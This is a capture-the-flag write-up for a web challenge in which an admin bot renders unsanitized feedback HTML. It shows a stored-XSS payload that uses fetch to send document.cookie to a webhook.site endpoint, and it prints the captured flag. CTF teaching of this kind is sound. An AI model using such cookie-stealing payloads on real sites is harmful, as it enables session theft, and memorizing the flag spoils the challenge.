RISC CTF Writeups

Your feedback is not appreciated

Thank you to Tom Lynch for submitting this writeup!

Web: Your feedback is not appreciated

Challenge Description

NB: This is the challenge related to the admin bot

Yuri Nocashov has taken a deep interest in customer feedback, and will read all feedback forms submitted!

Preliminary Knowledge

Webhooks

A webhook is a mechanism for one application to send data to another through HTTP requests.

In CTFs, webhooks are often used to capture data sent by a target server. By hosting a webhook, you can receive requests containing sensitive information, most commonly HTML-based data such as cookies or page content.

Some common webhook services include:

https://webhook.site/

https://pipedream.com/requestbin

TL;DR: Webhooks are endpoints under your control that receive requests from a target application, allowing you to capture and analyze these requests.


Approach

Evaluating the challenge clues, we see references to /feedback and the fact that all feedback is read. This suggests that the admin bot renders all user-submitted feedback.

Looking at the admin bot code, we find an important snippet:

// Set cookies for this origin (flag is JS-readable on purpose)
    const page = await context.newPage();
    await page.setCookie(
        { name: 'admin', value: '1', url: PUBLIC_BASE, httpOnly: true,  sameSite: 'Lax', path: '/' },
        { name: 'flag',  value: ADMIN_FLAG, url: PUBLIC_BASE, httpOnly: false, sameSite: 'Lax', path: '/' },
    );

Here we see that the flag is intentionally JS-readable and stored in a cookie called flag.

Examining further, we find a potential XSS vector:

app.post('/ingest', async (req, res) => {
  const { html } = req.body || {};
  // ...
  const filename = `${id}.html`;
  await fs.writeFile(filePath, html, 'utf8');

  const url = `${PUBLIC_BASE}/feedback/${filename}`;
  await page.goto(url, { waitUntil: 'networkidle0' });

This shows that user-supplied HTML is written directly to a file and rendered by the admin bot without any sanitization. Any code wrapped in <script> tags will execute when the admin bot loads the feedback page.

From this, we know:

  1. The admin bot will load our feedback.

  2. The flag is stored in a JS-readable cookie called flag.

  3. Feedback HTML is rendered without sanitization, creating an XSS vector.

This gives us enough information to exfiltrate the flag cookie.

The first step is to set up a webhook (we’ll use webhook.site for this example). We can then inject the following payload:

<script>fetch("https://webhook.site/xxx" + document.cookie)</script>

This will then send the cookie containing the flag to our webhook giving us;

RISC%7Bex_ess_ess_is_easy_as_1_2_3_e78c1cda77704a884357eeffedb3d3e7%7D

Formatting too:

RISC{ex_ess_ess_is_easy_as_1_2_3_e78c1cda77704a884357eeffedb3d3e7}